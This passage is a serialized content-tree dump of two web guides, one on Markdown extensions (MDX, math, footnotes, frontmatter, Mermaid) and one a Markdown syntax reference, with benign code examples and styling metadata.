elements.",[33,244537,244539],{"id":244538},"basic-usage","Basic Usage",[135,244541,244545],{"className":244542,"code":244543,"language":244544,"meta":141,"style":141},"language-mdx shiki shiki-themes github-light github-dark","import Chart from '.\u002Fcomponents\u002FChart'\n\n# Quarterly Report\n\nRevenue grew 23% year-over-year.\n\n\u003CChart data={quarterlyData} \u002F>\n","mdx",[143,244546,244547,244552,244556,244561,244565,244570,244574],{"__ignoreMap":141},[1560,244548,244549],{"class":1562,"line":1563},[1560,244550,244551],{},"import Chart from '.\u002Fcomponents\u002FChart'\n",[1560,244553,244554],{"class":1562,"line":337},[1560,244555,1702],{"emptyLinePlaceholder":363},[1560,244557,244558],{"class":1562,"line":343},[1560,244559,244560],{},"# Quarterly Report\n",[1560,244562,244563],{"class":1562,"line":365},[1560,244564,1702],{"emptyLinePlaceholder":363},[1560,244566,244567],{"class":1562,"line":889},[1560,244568,244569],{},"Revenue grew 23% year-over-year.\n",[1560,244571,244572],{"class":1562,"line":1710},[1560,244573,1702],{"emptyLinePlaceholder":363},[1560,244575,244576],{"class":1562,"line":1717},[1560,244577,244578],{},"\u003CChart data={quarterlyData} \u002F>\n",[33,244580,244582],{"id":244581},"why-mdx-matters","Why MDX Matters",[41,244584,244585,244591,244597,244603],{},[44,244586,244587,244590],{},[47,244588,244589],{},"Interactive content:"," Embed charts, calculators, and dynamic widgets inside documentation",[44,244592,244593,244596],{},[47,244594,244595],{},"Component reuse:"," Use your React\u002FVue component library within Markdown files",[44,244598,244599,244602],{},[47,244600,244601],{},"Type safety:"," MDX files work with TypeScript for props and imports",[44,244604,244605,244608],{},[47,244606,244607],{},"Ecosystem:"," Works with Next.js, Nuxt, Astro, and most modern frameworks",[33,244610,244612],{"id":244611},"mdx-vs-standard-markdown","MDX vs Standard Markdown",[193,244614,244615,244627],{},[196,244616,244617],{},[199,244618,244619,244621,244624],{},[202,244620,5867],{},[202,244622,244623],{},"Markdown",[202,244625,244626],{},"MDX",[211,244628,244629,244638,244648,244656,244665],{},[199,244630,244631,244634,244636],{},[216,244632,244633],{},"Prose formatting",[216,244635,3057],{},[216,244637,3057],{},[199,244639,244640,244643,244645],{},[216,244641,244642],{},"HTML passthrough",[216,244644,84702],{},[216,244646,244647],{},"Full JSX",[199,244649,244650,244652,244654],{},[216,244651,29076],{},[216,244653,6117],{},[216,244655,3057],{},[199,244657,244658,244661,244663],{},[216,244659,244660],{},"Build step",[216,244662,187685],{},[216,244664,47400],{},[199,244666,244667,244669,244671],{},[216,244668,67493],{},[216,244670,15466],{},[216,244672,7639],{},[16,244674,244675],{},"Use MDX when your docs need interactive elements. Stick with standard Markdown for simple articles and READMEs.",[11,244677,244679],{"id":244678},"math-and-katex","Math and KaTeX",[16,244681,244682],{},"Math rendering turns LaTeX notation into beautifully typeset equations. KaTeX and MathJax are the two leading renderers.",[33,244684,244686],{"id":244685},"inline-math","Inline Math",[16,244688,244689],{},"Wrap expressions in single dollar signs:",[135,244691,244693],{"className":34628,"code":244692,"language":34630,"meta":141,"style":141},"The formula $E = mc^2$ changed physics forever.\n",[143,244694,244695],{"__ignoreMap":141},[1560,244696,244697],{"class":1562,"line":1563},[1560,244698,244692],{},[33,244700,244702],{"id":244701},"block-math","Block Math",[16,244704,244705],{},"Use double dollar signs for display equations:",[135,244707,244709],{"className":34628,"code":244708,"language":34630,"meta":141,"style":141},"$$\n\\int_{-\\infty}^{\\infty} e^{-x^2} dx = \\sqrt{\\pi}\n$$\n",[143,244710,244711,244715,244720],{"__ignoreMap":141},[1560,244712,244713],{"class":1562,"line":1563},[1560,244714,146141],{},[1560,244716,244717],{"class":1562,"line":337},[1560,244718,244719],{},"\\int_{-\\infty}^{\\infty} e^{-x^2} dx = \\sqrt{\\pi}\n",[1560,244721,244722],{"class":1562,"line":343},[1560,244723,146141],{},[33,244725,244727],{"id":244726},"common-math-examples","Common Math Examples",[193,244729,244730,244740],{},[196,244731,244732],{},[199,244733,244734,244736,244738],{},[202,244735,5882],{},[202,244737,120152],{},[202,244739,101815],{},[211,244741,244742,244755,244767,244780,244793],{},[199,244743,244744,244749,244752],{},[216,244745,244746],{},[143,244747,244748],{},"$x^2$",[216,244750,244751],{},"x²",[216,244753,244754],{},"Exponents",[199,244756,244757,244762,244765],{},[216,244758,244759],{},[143,244760,244761],{},"$\\frac{a}{b}$",[216,244763,244764],{},"a\u002Fb Fractions",[216,244766],{},[199,244768,244769,244774,244777],{},[216,244770,244771],{},[143,244772,244773],{},"$\\sqrt{n}$",[216,244775,244776],{},"√n",[216,244778,244779],{},"Square roots",[199,244781,244782,244787,244790],{},[216,244783,244784],{},[143,244785,244786],{},"$\\sum_{i=1}^{n}$",[216,244788,244789],{},"Σ",[216,244791,244792],{},"Summations",[199,244794,244795,244800,244803],{},[216,244796,244797],{},[143,244798,244799],{},"$\\alpha, \\beta, \\gamma$",[216,244801,244802],{},"α, β, γ",[216,244804,146282],{},[16,244806,244807],{},"Math support is not part of core Markdown. It requires a plugin — check your platform's documentation for setup.",[11,244809,110266],{"id":244810},"footnotes",[16,244812,244813],{},"Footnotes let you add references without cluttering the main text:",[135,244815,244817],{"className":34628,"code":244816,"language":34630,"meta":141,"style":141},"This claim needs a source.[^1]\n\nDITA and AsciiDoc offer alternatives.[^note]\n\n[^1]: Smith, J. \"Markdown Extensions,\" 2025.\n[^note]: See the DITA OASIS standard for comparison.\n",[143,244818,244819,244824,244828,244833,244837,244842],{"__ignoreMap":141},[1560,244820,244821],{"class":1562,"line":1563},[1560,244822,244823],{},"This claim needs a source.[^1]\n",[1560,244825,244826],{"class":1562,"line":337},[1560,244827,1702],{"emptyLinePlaceholder":363},[1560,244829,244830],{"class":1562,"line":343},[1560,244831,244832],{},"DITA and AsciiDoc offer alternatives.[^note]\n",[1560,244834,244835],{"class":1562,"line":365},[1560,244836,1702],{"emptyLinePlaceholder":363},[1560,244838,244839],{"class":1562,"line":889},[1560,244840,244841],{},"[^1]: Smith, J. \"Markdown Extensions,\" 2025.\n",[1560,244843,244844],{"class":1562,"line":1710},[1560,244845,244846],{},"[^note]: See the DITA OASIS standard for comparison.\n",[16,244848,244849],{},"Footnotes render as superscript numbers in the text body and as a numbered list at the bottom of the document.",[11,244851,244853],{"id":244852},"frontmatter","Frontmatter",[16,244855,244856],{},"Frontmatter adds metadata to Markdown files using YAML between triple-dashed lines:",[135,244858,244860],{"className":37227,"code":244859,"language":37229,"meta":141,"style":141},"---\ntitle: \"Getting Started with Markdown\"\ndate: 2026-05-27\nauthor: \"Jane Doe\"\ntags:\n  - markdown\n  - documentation\ndraft: false\n---\n\n# Getting Started with Markdown\n\nContent starts here...\n",[143,244861,244862,244866,244875,244884,244892,244899,244906,244913,244922,244926,244930,244935,244939],{"__ignoreMap":141},[1560,244863,244864],{"class":1562,"line":1563},[1560,244865,150505],{"class":1566},[1560,244867,244868,244870,244872],{"class":1562,"line":337},[1560,244869,108868],{"class":2484},[1560,244871,1663],{"class":1570},[1560,244873,244874],{"class":5634},"\"Getting Started with Markdown\"\n",[1560,244876,244877,244879,244881],{"class":1562,"line":343},[1560,244878,88150],{"class":2484},[1560,244880,1663],{"class":1570},[1560,244882,244883],{"class":1576},"2026-05-27\n",[1560,244885,244886,244888,244890],{"class":1562,"line":365},[1560,244887,149566],{"class":2484},[1560,244889,1663],{"class":1570},[1560,244891,196306],{"class":5634},[1560,244893,244894,244897],{"class":1562,"line":889},[1560,244895,244896],{"class":2484},"tags",[1560,244898,19182],{"class":1570},[1560,244900,244901,244903],{"class":1562,"line":1710},[1560,244902,37327],{"class":1570},[1560,244904,244905],{"class":5634},"markdown\n",[1560,244907,244908,244910],{"class":1562,"line":1717},[1560,244909,37327],{"class":1570},[1560,244911,244912],{"class":5634},"documentation\n",[1560,244914,244915,244918,244920],{"class":1562,"line":1747},[1560,244916,244917],{"class":2484},"draft",[1560,244919,1663],{"class":1570},[1560,244921,37132],{"class":1576},[1560,244923,244924],{"class":1562,"line":2507},[1560,244925,150505],{"class":1566},[1560,244927,244928],{"class":1562,"line":2524},[1560,244929,1702],{"emptyLinePlaceholder":363},[1560,244931,244932],{"class":1562,"line":2529},[1560,244933,244934],{"class":1649},"# Getting Started with Markdown\n",[1560,244936,244937],{"class":1562,"line":2534},[1560,244938,1702],{"emptyLinePlaceholder":363},[1560,244940,244941],{"class":1562,"line":2542},[1560,244942,244943],{"class":5634},"Content starts here...\n",[16,244945,244946],{},"Static site generators like Nuxt Content, Hugo, and Jekyll read frontmatter to populate page titles, dates, categories, and templates. It is the standard way to separate content from configuration.",[33,244948,244950],{"id":244949},"common-frontmatter-fields","Common Frontmatter Fields",[193,244952,244953,244963],{},[196,244954,244955],{},[199,244956,244957,244959,244961],{},[202,244958,14305],{},[202,244960,2758],{},[202,244962,133],{},[211,244964,244965,244979,244992,245006,245019,245033],{},[199,244966,244967,244971,244974],{},[216,244968,244969],{},[143,244970,108868],{},[216,244972,244973],{},"Page title",[216,244975,244976],{},[143,244977,244978],{},"\"My Article\"",[199,244980,244981,244985,244988],{},[216,244982,244983],{},[143,244984,88150],{},[216,244986,244987],{},"Publication date",[216,244989,244990],{},[143,244991,235803],{},[199,244993,244994,244998,245001],{},[216,244995,244996],{},[143,244997,244896],{},[216,244999,245000],{},"Content categories",[216,245002,245003],{},[143,245004,245005],{},"[markdown, docs]",[199,245007,245008,245012,245015],{},[216,245009,245010],{},[143,245011,244917],{},[216,245013,245014],{},"Hide from production",[216,245016,245017],{},[143,245018,20533],{},[199,245020,245021,245025,245028],{},[216,245022,245023],{},[143,245024,77722],{},[216,245026,245027],{},"Template override",[216,245029,245030],{},[143,245031,245032],{},"\"custom\"",[199,245034,245035,245039,245041],{},[216,245036,245037],{},[143,245038,183616],{},[216,245040,203670],{},[216,245042,245043],{},[143,245044,245045],{},"\"A guide to...\"",[11,245047,245049],{"id":245048},"diagram-support","Diagram Support",[16,245051,245052],{},"Some platforms support Mermaid diagrams inside fenced code blocks:",[135,245054,245056],{"className":34628,"code":245055,"language":34630,"meta":141,"style":141},"```mermaid\ngraph LR\n    A[Start] --> B{Decision}\n    B -->|Yes| C[Action]\n    B -->|No| D[End]\n    C --> D\n",[143,245057,245058,245062,245067,245072,245077,245082],{"__ignoreMap":141},[1560,245059,245060],{"class":1562,"line":1563},[1560,245061,226801],{},[1560,245063,245064],{"class":1562,"line":337},[1560,245065,245066],{},"graph LR\n",[1560,245068,245069],{"class":1562,"line":343},[1560,245070,245071],{},"    A[Start] --> B{Decision}\n",[1560,245073,245074],{"class":1562,"line":365},[1560,245075,245076],{},"    B -->|Yes| C[Action]\n",[1560,245078,245079],{"class":1562,"line":889},[1560,245080,245081],{},"    B -->|No| D[End]\n",[1560,245083,245084],{"class":1562,"line":1710},[1560,245085,245086],{},"    C --> D\n",[135,245088,245091],{"className":245089,"code":245090,"language":140},[138],"\nMermaid renders flowcharts, sequence diagrams, class diagrams, Gantt charts, and more — all from text-based definitions. GitHub supports Mermaid natively in READMEs and issues.\n\n## Other Notable Extensions\n\n- **Admonitions:** Callout blocks for warnings, tips, and notes (supported by Docusaurus, Material for MkDocs)\n- **Attributes:** Add CSS classes and IDs to elements (`{: .highlight}`)\n- **Definition lists:** Term\u002Fdefinition pairs (PHP Markdown Extra, kramdown)\n- **Abbreviations:** Hover-text definitions (`*[HTML]: HyperText Markup Language`)\n- **Subscript and superscript:** `H~2~O` for H₂O, `X^2^` for X² (some parsers)\n\n## Compatibility Checklist\n\nBefore adopting an extension, ask:\n\n1. **Do your target platforms support it?** GFM works almost everywhere. MDX and Mermaid require build tools.\n2. **Will the raw text remain readable?** If the source looks like code, you lose Markdown's core advantage.\n3. **Is the extension actively maintained?** Avoid abandoned plugins that may break with updates.\n4. **Does it degrade gracefully?** If a parser ignores the extension, the content should still make sense.\n\n## Related Guides\n\n- [Markdown Syntax Guide](\u002Fguides\u002Fmarkdown-syntax-guide)\n- [Markdown Best Practices](\u002Fguides\u002Fmarkdown-best-practices)\n- [CSS Color Functions](\u002Fguides\u002Fcss-color-functions)\n\n## Try It Yourself\n\nExperiment with these extensions using our free [Markdown to HTML Converter](\u002Ftools\u002Fmarkdown-to-html). Write GFM tables, code blocks, and more — then see the rendered HTML output in real time.\n",[143,245092,245090],{"__ignoreMap":141},[2043,245094,245095],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}",{"title":141,"searchDepth":337,"depth":337,"links":245097},[245098,245099,245106,245111,245116,245117,245120],{"id":244378,"depth":337,"text":244379},{"id":244388,"depth":337,"text":244389,"children":245100},[245101,245102,245103,245104,245105],{"id":109784,"depth":343,"text":3107},{"id":109903,"depth":343,"text":109904},{"id":109972,"depth":343,"text":34693},{"id":110009,"depth":343,"text":34708},{"id":110180,"depth":343,"text":110181},{"id":244531,"depth":337,"text":244532,"children":245107},[245108,245109,245110],{"id":244538,"depth":343,"text":244539},{"id":244581,"depth":343,"text":244582},{"id":244611,"depth":343,"text":244612},{"id":244678,"depth":337,"text":244679,"children":245112},[245113,245114,245115],{"id":244685,"depth":343,"text":244686},{"id":244701,"depth":343,"text":244702},{"id":244726,"depth":343,"text":244727},{"id":244810,"depth":337,"text":110266},{"id":244852,"depth":337,"text":244853,"children":245118},[245119],{"id":244949,"depth":343,"text":244950},{"id":245048,"depth":337,"text":245049},"Explore Markdown extensions beyond standard syntax. Learn GitHub Flavored Markdown, MDX, math notation, and other popular extensions.",{"immutable":363},{"title":244373,"description":245121},"guides\u002Fmarkdown-extensions-explained","y-pZEkJ_aPPzw0G2EyiOFMC5yA_zoaa6XQCtcuL0H2o",{"id":245127,"title":245128,"body":245129,"date":235803,"description":246037,"extension":361,"meta":246038,"navigation":363,"path":110356,"readingTime":1710,"seo":246039,"stem":246040,"__hash__":246041},"guides\u002Fguides\u002Fmarkdown-syntax-guide.md","Markdown Syntax Guide: Complete Reference",{"type":8,"value":245130,"toc":246005},[245131,245135,245138,245141,245143,245151,245186,245194,245197,245200,245280,245286,245288,245292,245301,245330,245334,245337,245357,245361,245370,245390,245394,245396,245425,245428,245443,245446,245448,245450,245453,245461,245463,245466,245493,245496,245500,245588,245592,245597,245625,245628,245630,245633,245658,245661,245678,245681,245685,245688,245707,245710,245714,245717,245732,245761,245765,245767,245786,245790,245805,245809,245812,245821,245823,245868,245870,245977,245979,245995,245997,246003],[11,245132,245134],{"id":245133},"what-is-markdown","What is Markdown?",[16,245136,245137],{},"Markdown is a lightweight markup language that lets you write formatted content using plain text. Created by John Gruber in 2004, it has become the standard for documentation, READMEs, blog posts, and note-taking across the web.",[16,245139,245140],{},"The beauty of Markdown lies in its simplicity: what you type reads naturally as plain text, yet renders as rich HTML.",[11,245142,147792],{"id":147791},[16,245144,1388,245145,245147,245148,245150],{},[143,245146,6852],{}," symbols to create headings. The number of ",[143,245149,6852],{}," symbols sets the heading level.",[135,245152,245154],{"className":34628,"code":245153,"language":34630,"meta":141,"style":141},"# Heading 1\n## Heading 2\n### Heading 3\n#### Heading 4\n##### Heading 5\n###### Heading 6\n",[143,245155,245156,245161,245166,245171,245176,245181],{"__ignoreMap":141},[1560,245157,245158],{"class":1562,"line":1563},[1560,245159,245160],{},"# Heading 1\n",[1560,245162,245163],{"class":1562,"line":337},[1560,245164,245165],{},"## Heading 2\n",[1560,245167,245168],{"class":1562,"line":343},[1560,245169,245170],{},"### Heading 3\n",[1560,245172,245173],{"class":1562,"line":365},[1560,245174,245175],{},"#### Heading 4\n",[1560,245177,245178],{"class":1562,"line":889},[1560,245179,245180],{},"##### Heading 5\n",[1560,245182,245183],{"class":1562,"line":1710},[1560,245184,245185],{},"###### Heading 6\n",[16,245187,245188,245189,245191,245192,468],{},"Best practice: use one ",[143,245190,6852],{}," heading per document as the title, then start sections with ",[143,245193,226573],{},[11,245195,96476],{"id":245196},"emphasis",[16,245198,245199],{},"Add emphasis with asterisks or underscores:",[193,245201,245202,245212],{},[196,245203,245204],{},[199,245205,245206,245208,245210],{},[202,245207,28715],{},[202,245209,70645],{},[202,245211,101815],{},[211,245213,245214,245232,245249,245266],{},[199,245215,245216,245224,245229],{},[216,245217,245218,1531,245221],{},[143,245219,245220],{},"*italic*",[143,245222,245223],{},"_italic_",[216,245225,245226],{},[7310,245227,245228],{},"italic",[216,245230,245231],{},"Light emphasis",[199,245233,245234,245242,245246],{},[216,245235,245236,1531,245239],{},[143,245237,245238],{},"**bold**",[143,245240,245241],{},"__bold__",[216,245243,245244],{},[47,245245,9563],{},[216,245247,245248],{},"Strong emphasis",[199,245250,245251,245256,245263],{},[216,245252,245253],{},[143,245254,245255],{},"***bold italic***",[216,245257,245258],{},[7310,245259,245260],{},[47,245261,245262],{},"bold italic",[216,245264,245265],{},"Combined emphasis",[199,245267,245268,245273,245277],{},[216,245269,245270],{},[143,245271,245272],{},"~~strikethrough~~",[216,245274,245275],{},[109989,245276,109972],{},[216,245278,245279],{},"Deleted text (GFM)",[16,245281,245282,245283,245285],{},"Tip: prefer asterisks (",[143,245284,8069],{},") over underscores for consistency — they work in all contexts without spacing issues.",[11,245287,147896],{"id":147895},[33,245289,245291],{"id":245290},"unordered-lists","Unordered Lists",[16,245293,1388,245294,1459,245296,1877,245298,245300],{},[143,245295,9412],{},[143,245297,8069],{},[143,245299,9448],{}," for bullet points:",[135,245302,245304],{"className":34628,"code":245303,"language":34630,"meta":141,"style":141},"- First item\n- Second item\n  - Nested item\n  - Another nested item\n- Third item\n",[143,245305,245306,245310,245315,245320,245325],{"__ignoreMap":141},[1560,245307,245308],{"class":1562,"line":1563},[1560,245309,243866],{},[1560,245311,245312],{"class":1562,"line":337},[1560,245313,245314],{},"- Second item\n",[1560,245316,245317],{"class":1562,"line":343},[1560,245318,245319],{},"  - Nested item\n",[1560,245321,245322],{"class":1562,"line":365},[1560,245323,245324],{},"  - Another nested item\n",[1560,245326,245327],{"class":1562,"line":889},[1560,245328,245329],{},"- Third item\n",[33,245331,245333],{"id":245332},"ordered-lists","Ordered Lists",[16,245335,245336],{},"Use numbers followed by periods:",[135,245338,245340],{"className":34628,"code":245339,"language":34630,"meta":141,"style":141},"1. First step\n2. Second step\n3. Third step\n",[143,245341,245342,245347,245352],{"__ignoreMap":141},[1560,245343,245344],{"class":1562,"line":1563},[1560,245345,245346],{},"1. First step\n",[1560,245348,245349],{"class":1562,"line":337},[1560,245350,245351],{},"2. Second step\n",[1560,245353,245354],{"class":1562,"line":343},[1560,245355,245356],{},"3. Third step\n",[33,245358,245360],{"id":245359},"task-lists-gfm","Task Lists (GFM)",[16,245362,245363,245364,1856,245367,8037],{},"Add checkboxes with ",[143,245365,245366],{},"[ ]",[143,245368,245369],{},"[x]",[135,245371,245373],{"className":34628,"code":245372,"language":34630,"meta":141,"style":141},"- [x] Write the guide\n- [ ] Review the draft\n- [ ] Publish the article\n",[143,245374,245375,245380,245385],{"__ignoreMap":141},[1560,245376,245377],{"class":1562,"line":1563},[1560,245378,245379],{},"- [x] Write the guide\n",[1560,245381,245382],{"class":1562,"line":337},[1560,245383,245384],{},"- [ ] Review the draft\n",[1560,245386,245387],{"class":1562,"line":343},[1560,245388,245389],{},"- [ ] Publish the article\n",[11,245391,245393],{"id":245392},"links-and-images","Links and Images",[33,245395,148028],{"id":148027},[135,245397,245399],{"className":34628,"code":245398,"language":34630,"meta":141,"style":141},"[Link text](https:\u002F\u002Fexample.com)\n[Link with title](https:\u002F\u002Fexample.com \"Hover text\")\n[Reference link][ref]\n\n[ref]: https:\u002F\u002Fexample.com\n",[143,245400,245401,245406,245411,245416,245420],{"__ignoreMap":141},[1560,245402,245403],{"class":1562,"line":1563},[1560,245404,245405],{},"[Link text](https:\u002F\u002Fexample.com)\n",[1560,245407,245408],{"class":1562,"line":337},[1560,245409,245410],{},"[Link with title](https:\u002F\u002Fexample.com \"Hover text\")\n",[1560,245412,245413],{"class":1562,"line":343},[1560,245414,245415],{},"[Reference link][ref]\n",[1560,245417,245418],{"class":1562,"line":365},[1560,245419,1702],{"emptyLinePlaceholder":363},[1560,245421,245422],{"class":1562,"line":889},[1560,245423,245424],{},"[ref]: https:\u002F\u002Fexample.com\n",[33,245426,132950],{"id":245427},"images",[135,245429,245431],{"className":34628,"code":245430,"language":34630,"meta":141,"style":141},"![Alt text describing the image](image.png)\n![Alt text](image.png \"Optional title\")\n",[143,245432,245433,245438],{"__ignoreMap":141},[1560,245434,245435],{"class":1562,"line":1563},[1560,245436,245437],{},"![Alt text describing the image](image.png)\n",[1560,245439,245440],{"class":1562,"line":337},[1560,245441,245442],{},"![Alt text](image.png \"Optional title\")\n",[16,245444,245445],{},"Always write descriptive alt text — it improves accessibility and SEO. Avoid vague descriptions like \"image\" or \"screenshot.\"",[11,245447,87859],{"id":143},[33,245449,145401],{"id":145400},[16,245451,245452],{},"Wrap code in single backticks:",[135,245454,245455],{"className":34628,"code":145407,"language":34630,"meta":141,"style":141},[143,245456,245457],{"__ignoreMap":141},[1560,245458,245459],{"class":1562,"line":1563},[1560,245460,145407],{},[33,245462,148067],{"id":148066},[16,245464,245465],{},"Use triple backticks with an optional language hint for syntax highlighting:",[135,245467,245469],{"className":34628,"code":245468,"language":34630,"meta":141,"style":141},"```javascript\nfunction greet(name) {\n  return `Hello, ${name}!`\n}\n```\n",[143,245470,245471,245475,245480,245485,245489],{"__ignoreMap":141},[1560,245472,245473],{"class":1562,"line":1563},[1560,245474,145209],{},[1560,245476,245477],{"class":1562,"line":337},[1560,245478,245479],{},"function greet(name) {\n",[1560,245481,245482],{"class":1562,"line":343},[1560,245483,245484],{},"  return `Hello, ${name}!`\n",[1560,245486,245487],{"class":1562,"line":365},[1560,245488,1585],{},[1560,245490,245491],{"class":1562,"line":889},[1560,245492,110093],{},[16,245494,245495],{},"Always specify the language. Syntax highlighting makes code significantly easier to read.",[33,245497,245499],{"id":245498},"supported-language-hints","Supported Language Hints",[193,245501,245502,245510],{},[196,245503,245504],{},[199,245505,245506,245508],{},[202,245507,110109],{},[202,245509,9824],{},[211,245511,245512,245522,245532,245542,245550,245558,245566,245578],{},[199,245513,245514,245520],{},[216,245515,245516,1531,245518],{},[143,245517,1609],{},[143,245519,49452],{},[216,245521,9860],{},[199,245523,245524,245530],{},[216,245525,245526,1531,245528],{},[143,245527,17511],{},[143,245529,110130],{},[216,245531,110135],{},[199,245533,245534,245540],{},[216,245535,245536,1531,245538],{},[143,245537,8261],{},[143,245539,110142],{},[216,245541,9840],{},[199,245543,245544,245548],{},[216,245545,245546],{},[143,245547,6419],{},[216,245549,124621],{},[199,245551,245552,245556],{},[216,245553,245554],{},[143,245555,1556],{},[216,245557,104808],{},[199,245559,245560,245564],{},[216,245561,245562],{},[143,245563,23486],{},[216,245565,13411],{},[199,245567,245568,245575],{},[216,245569,245570,1531,245572],{},[143,245571,6953],{},[143,245573,245574],{},"shell",[216,245576,245577],{},"Shell\u002FBash",[199,245579,245580,245586],{},[216,245581,245582,1531,245584],{},[143,245583,34630],{},[143,245585,361],{},[216,245587,244623],{},[11,245589,245591],{"id":245590},"blockquotes","Blockquotes",[16,245593,1388,245594,245596],{},[143,245595,28226],{}," for blockquotes:",[135,245598,245600],{"className":34628,"code":245599,"language":34630,"meta":141,"style":141},"> This is a blockquote.\n>\n> It can span multiple paragraphs.\n>\n> > And even nest.\n",[143,245601,245602,245607,245611,245616,245620],{"__ignoreMap":141},[1560,245603,245604],{"class":1562,"line":1563},[1560,245605,245606],{},"> This is a blockquote.\n",[1560,245608,245609],{"class":1562,"line":337},[1560,245610,6441],{},[1560,245612,245613],{"class":1562,"line":343},[1560,245614,245615],{},"> It can span multiple paragraphs.\n",[1560,245617,245618],{"class":1562,"line":365},[1560,245619,6441],{},[1560,245621,245622],{"class":1562,"line":889},[1560,245623,245624],{},"> > And even nest.\n",[16,245626,245627],{},"Blockquotes work well for callouts, notes, and quoted text.",[11,245629,3107],{"id":109784},[16,245631,245632],{},"Create tables with pipes and hyphens:",[135,245634,245636],{"className":34628,"code":245635,"language":34630,"meta":141,"style":141},"| Column 1 | Column 2 | Column 3 |\n|----------|:--------:|----------|\n| Left     | Center   | Right    |\n| Aligned  | Aligned  | Aligned  |\n",[143,245637,245638,245643,245648,245653],{"__ignoreMap":141},[1560,245639,245640],{"class":1562,"line":1563},[1560,245641,245642],{},"| Column 1 | Column 2 | Column 3 |\n",[1560,245644,245645],{"class":1562,"line":337},[1560,245646,245647],{},"|----------|:--------:|----------|\n",[1560,245649,245650],{"class":1562,"line":343},[1560,245651,245652],{},"| Left     | Center   | Right    |\n",[1560,245654,245655],{"class":1562,"line":365},[1560,245656,245657],{},"| Aligned  | Aligned  | Aligned  |\n",[16,245659,245660],{},"Alignment colons:",[41,245662,245663,245668,245673],{},[44,245664,245665,245667],{},[143,245666,109858],{}," = left (default)",[44,245669,245670,245672],{},[143,245671,109864],{}," = center",[44,245674,245675,245677],{},[143,245676,109870],{}," = right",[16,245679,245680],{},"Keep tables simple. If a table gets too wide, consider a list instead.",[11,245682,245684],{"id":245683},"horizontal-rules","Horizontal Rules",[16,245686,245687],{},"Use three or more hyphens, asterisks, or underscores:",[135,245689,245691],{"className":34628,"code":245690,"language":34630,"meta":141,"style":141},"---\n***\n___\n",[143,245692,245693,245697,245702],{"__ignoreMap":141},[1560,245694,245695],{"class":1562,"line":1563},[1560,245696,150505],{},[1560,245698,245699],{"class":1562,"line":337},[1560,245700,245701],{},"***\n",[1560,245703,245704],{"class":1562,"line":343},[1560,245705,245706],{},"___\n",[16,245708,245709],{},"All three render the same way. Choose one style and stick with it across your project.",[11,245711,245713],{"id":245712},"escaping-characters","Escaping Characters",[16,245715,245716],{},"To display a literal Markdown character, precede it with a backslash:",[135,245718,245720],{"className":34628,"code":245719,"language":34630,"meta":141,"style":141},"\\*Not italic\\*\n\\# Not a heading\n",[143,245721,245722,245727],{"__ignoreMap":141},[1560,245723,245724],{"class":1562,"line":1563},[1560,245725,245726],{},"\\*Not italic\\*\n",[1560,245728,245729],{"class":1562,"line":337},[1560,245730,245731],{},"\\# Not a heading\n",[16,245733,245734,245735,1459,245737,1459,245739,1459,245741,1459,245743,1459,245745,1459,245747,1459,245749,1459,245751,1459,245753,1459,245755,1459,245757,1459,245759,468],{},"Characters you may need to escape: ",[143,245736,34605],{},[143,245738,8219],{},[143,245740,8069],{},[143,245742,23056],{},[143,245744,103235],{},[143,245746,103232],{},[143,245748,90220],{},[143,245750,6852],{},[143,245752,9448],{},[143,245754,9412],{},[143,245756,468],{},[143,245758,27989],{},[143,245760,7334],{},[11,245762,245764],{"id":245763},"advanced-syntax","Advanced Syntax",[33,245766,110266],{"id":244810},[135,245768,245770],{"className":34628,"code":245769,"language":34630,"meta":141,"style":141},"Here is a claim.[^1]\n\n[^1]: This is the footnote content.\n",[143,245771,245772,245777,245781],{"__ignoreMap":141},[1560,245773,245774],{"class":1562,"line":1563},[1560,245775,245776],{},"Here is a claim.[^1]\n",[1560,245778,245779],{"class":1562,"line":337},[1560,245780,1702],{"emptyLinePlaceholder":363},[1560,245782,245783],{"class":1562,"line":343},[1560,245784,245785],{},"[^1]: This is the footnote content.\n",[33,245787,245789],{"id":245788},"definition-lists-some-renderers","Definition Lists (some renderers)",[135,245791,245793],{"className":34628,"code":245792,"language":34630,"meta":141,"style":141},"Term\n: Definition of the term\n",[143,245794,245795,245800],{"__ignoreMap":141},[1560,245796,245797],{"class":1562,"line":1563},[1560,245798,245799],{},"Term\n",[1560,245801,245802],{"class":1562,"line":337},[1560,245803,245804],{},": Definition of the term\n",[33,245806,245808],{"id":245807},"heading-ids-and-links","Heading IDs and Links",[16,245810,245811],{},"Most renderers auto-generate IDs from headings. Link to them directly:",[135,245813,245815],{"className":34628,"code":245814,"language":34630,"meta":141,"style":141},"[Jump to section](#heading-ids-and-links)\n",[143,245816,245817],{"__ignoreMap":141},[1560,245818,245819],{"class":1562,"line":1563},[1560,245820,245814],{},[11,245822,10393],{"id":10392},[77,245824,245825,245836,245841,245847,245859],{},[44,245826,245827,245830,245831,5255,245833,245835],{},[47,245828,245829],{},"Inconsistent heading levels"," — skip levels (e.g., ",[143,245832,6852],{},[143,245834,226577],{},") and screen readers lose structure",[44,245837,245838,245840],{},[47,245839,96575],{}," — images without descriptions fail accessibility checks",[44,245842,245843,245846],{},[47,245844,245845],{},"No language hints"," — code blocks without a language lose syntax highlighting",[44,245848,245849,83164,245852,1459,245854,1466,245856,245858],{},[47,245850,245851],{},"Mixed list 